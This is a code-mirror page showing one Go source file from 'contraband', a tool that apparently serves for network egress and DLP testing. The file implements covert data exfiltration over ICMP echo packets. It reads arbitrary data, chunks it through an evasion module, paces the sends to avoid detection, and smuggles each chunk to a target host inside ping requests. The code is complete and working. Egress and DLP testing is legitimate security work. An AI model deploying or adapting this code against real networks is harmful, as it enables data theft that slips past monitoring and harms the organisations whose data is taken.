● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / covert / icmp.go
← Back to directory
224 lines · 6.1 KB
Raw
1package covert
2
3import (
4 "context"
5 "crypto/sha256"
6 "encoding/binary"
7 "encoding/hex"
8 "fmt"
9 "io"
10 "net"
11 "strings"
12 "time"
13
14 "github.com/shehzade/contraband/pkg/client/evasion"
15 "github.com/shehzade/contraband/pkg/client/exfil"
16 "github.com/shehzade/contraband/pkg/common"
17)
18
19func init() {
20 exfil.RegisterExfiltrator(common.ProtoICMPEcho, NewICMPExfiltrator())
21}
22
23// ICMPExfiltrator implements RFC 792 ICMP Echo Smuggling with sequence ACK.
24type ICMPExfiltrator struct{}
25
26func NewICMPExfiltrator() *ICMPExfiltrator {
27 return &ICMPExfiltrator{}
28}
29
30func (e *ICMPExfiltrator) Protocol() string {
31 return common.ProtoICMPEcho
32}
33
34// ComputeICMPChecksum calculates the RFC 792 / RFC 1071 internet checksum.
35func ComputeICMPChecksum(data []byte) uint16 {
36 var sum uint32
37 length := len(data)
38 for i := 0; i < length-1; i += 2 {
39 sum += uint32(binary.BigEndian.Uint16(data[i : i+2]))
40 }
41 if length%2 == 1 {
42 sum += uint32(data[length-1]) << 8
43 }
44 for sum > 0xFFFF {
45 sum = (sum & 0xFFFF) + (sum >> 16)
46 }
47 return ^uint16(sum)
48}
49
50// BuildICMPEchoRequest builds an RFC 792 ICMP Type 8 packet.
51func BuildICMPEchoRequest(id, seq uint16, payload []byte) []byte {
52 pkt := make([]byte, 8+len(payload))
53 pkt[0] = 8 // Type 8: Echo Request
54 pkt[1] = 0 // Code 0
55 pkt[2] = 0 // Checksum high
56 pkt[3] = 0 // Checksum low
57 binary.BigEndian.PutUint16(pkt[4:6], id)
58 binary.BigEndian.PutUint16(pkt[6:8], seq)
59 copy(pkt[8:], payload)
60
61 cs := ComputeICMPChecksum(pkt)
62 binary.BigEndian.PutUint16(pkt[2:4], cs)
63 return pkt
64}
65
66func classifyCovertError(err error) common.Verdict {
67 if err == nil {
68 return common.VerdictSuccess
69 }
70 errStr := strings.ToLower(err.Error())
71 if strings.Contains(errStr, "permission denied") || strings.Contains(errStr, "operation not permitted") {
72 return common.VerdictBlockedL4
73 }
74 return common.ClassifyError(err)
75}
76
77func calculateCovertDurations(r *common.ProbeResult) {
78 if r.Timestamps.TeardownDone.IsZero() {
79 r.Timestamps.TeardownDone = time.Now().UTC()
80 }
81 r.Timestamps.ComputeDurations()
82 if r.Timestamps.TransferDuration > 0 && r.BytesSent > 0 {
83 r.ThroughputBps = float64(r.BytesSent*8) / (float64(r.Timestamps.TransferDuration) / float64(time.Second)) / 1000.0
84 }
85}
86
87func (e *ICMPExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
88 if err := opts.Validate(); err != nil {
89 return nil, err
90 }
91
92 start := time.Now().UTC()
93 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
94 if err != nil {
95 return nil, err
96 }
97 result.Timestamps.StartTCP = start
98 result.PayloadType = opts.PayloadType
99 result.CarrierType = opts.CarrierType
100
101 payload, err := io.ReadAll(reader)
102 if err != nil {
103 return nil, fmt.Errorf("failed to read payload: %w", err)
104 }
105 result.TargetVolume = int64(len(payload))
106
107 if opts.ExpectedHash == "" {
108 h := sha256.Sum256(payload)
109 opts.ExpectedHash = hex.EncodeToString(h[:])
110 }
111 result.PayloadHash = opts.ExpectedHash
112
113 if opts.SessionToken.IsZero() {
114 tok, tokErr := common.NewSessionToken()
115 if tokErr != nil {
116 return nil, tokErr
117 }
118 opts.SessionToken = tok
119 }
120
121 chunks, err := evasion.ChunkPayload(payload, opts.SessionToken, opts.ChunkSize)
122 if err != nil {
123 return nil, fmt.Errorf("failed to chunk payload: %w", err)
124 }
125
126 dstIP := net.ParseIP(opts.TargetHost)
127 if dstIP == nil {
128 ips, err := net.LookupIP(opts.TargetHost)
129 if err != nil || len(ips) == 0 {
130 result.Verdict = common.VerdictBlockedL4
131 result.ErrorMessage = fmt.Sprintf("DNS lookup failed for %s: %v", opts.TargetHost, err)
132 calculateCovertDurations(&result)
133 return &result, err
134 }
135 dstIP = ips[0]
136 }
137
138 // Open raw ICMP socket (or fallback to unprivileged UDP-encapsulated probe if permitted)
139 conn, listenErr := net.ListenPacket("ip4:icmp", "0.0.0.0")
140 if listenErr != nil {
141 // Detect permission errors cleanly without panics
142 result.Verdict = common.VerdictBlockedL4
143 result.ErrorMessage = fmt.Sprintf("ICMP raw socket permission denied: %v", listenErr)
144 calculateCovertDurations(&result)
145 return &result, listenErr
146 }
147 defer conn.Close()
148
149 result.Timestamps.ConnectedTCP = time.Now().UTC()
150 result.Timestamps.FirstByteSent = time.Now().UTC()
151
152 var icmpID uint16 = uint16(opts.SessionToken[0])<<8 | uint16(opts.SessionToken[1])
153
154 targetAddr := &net.IPAddr{IP: dstIP}
155
156 for i, chunkFrame := range chunks {
157 seq := uint16(i + 1)
158
159 if opts.Shaper != nil {
160 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
161 result.Verdict = classifyCovertError(err)
162 result.ErrorMessage = err.Error()
163 calculateCovertDurations(&result)
164 return &result, err
165 }
166 }
167 if opts.Cadence != nil {
168 delay := opts.Cadence.NextDelay()
169 if delay > 0 {
170 select {
171 case <-time.After(delay):
172 case <-ctx.Done():
173 result.Verdict = classifyCovertError(ctx.Err())
174 result.ErrorMessage = ctx.Err().Error()
175 calculateCovertDurations(&result)
176 return &result, ctx.Err()
177 }
178 }
179 }
180
181 echoPkt := BuildICMPEchoRequest(icmpID, seq, chunkFrame)
182 if _, writeErr := conn.WriteTo(echoPkt, targetAddr); writeErr != nil {
183 result.Verdict = classifyCovertError(writeErr)
184 result.ErrorMessage = fmt.Sprintf("ICMP write failed: %v", writeErr)
185 calculateCovertDurations(&result)
186 return &result, writeErr
187 }
188 result.BytesSent += int64(len(echoPkt))
189
190 // Await ICMP Echo Reply Type 0
191 _ = conn.SetReadDeadline(time.Now().Add(opts.Timeout))
192 replyBuf := make([]byte, 1500)
193 for {
194 n, peer, readErr := conn.ReadFrom(replyBuf)
195 if readErr != nil {
196 result.Verdict = classifyCovertError(readErr)
197 result.ErrorMessage = fmt.Sprintf("ICMP reply timeout/error for chunk %d: %v", seq, readErr)
198 calculateCovertDurations(&result)
199 return &result, readErr
200 }
201 result.BytesRecv += int64(n)
202
203 if n < 8 {
204 continue
205 }
206
207 // Validate Type 0 (Echo Reply), matching ID and Seq
208 replyType := replyBuf[0]
209 replySeq := binary.BigEndian.Uint16(replyBuf[6:8])
210 if replyType == 0 && replySeq == seq {
211 _ = peer
212 break
213 }
214 }
215 }
216
217 result.Timestamps.AckReceived = time.Now().UTC()
218 result.Timestamps.TeardownDone = time.Now().UTC()
219 result.Verdict = common.VerdictSuccess
220 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
221 calculateCovertDurations(&result)
222
223 return &result, nil
224}